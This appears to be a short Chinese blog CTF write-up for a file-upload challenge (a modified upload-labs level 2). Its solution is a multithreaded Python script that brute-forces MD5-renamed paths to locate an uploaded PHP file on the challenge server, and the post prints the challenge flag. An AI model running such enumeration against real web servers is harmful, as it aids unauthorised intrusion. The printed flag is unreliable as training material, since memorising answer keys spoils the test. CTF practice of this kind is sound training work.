CISP-PTE:文件上传

发布于 2023-11-03  941 次阅读


题目

这是一个upload-labs的第二关的魔改,还是还一定的编码能力才能完成的

题解

import requests  
import hashlib  
import concurrent.futures  
  
url = 'http://hazelshishuaige.club:8139/upload/'  
  
def get_file(i):  
    new_name = '1.php%d' % i  
    md5_new_name = hashlib.md5(new_name.encode()).hexdigest()  
    response = requests.get(url + md5_new_name + '.php')  
    if response.status_code == 200:  
        print(md5_new_name + '.php')  
  
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:  
    for i in range(1, 1001):  
        executor.submit(get_file, i)

答案

flag{2a18e294-fe57-4b70-8aed-6825a0fc6f6e}

  • alipay_img
  • wechat_img
我在这里的分享的,是我的阅读总结以及经验,大多是利用业余时间,我个人崇尚自由,不喜欢被束缚,我的人生之路每次都有些许坎坷,我希望也许等我老了,这里的文章,会是一个美好的回忆。
最后更新于 2023-11-03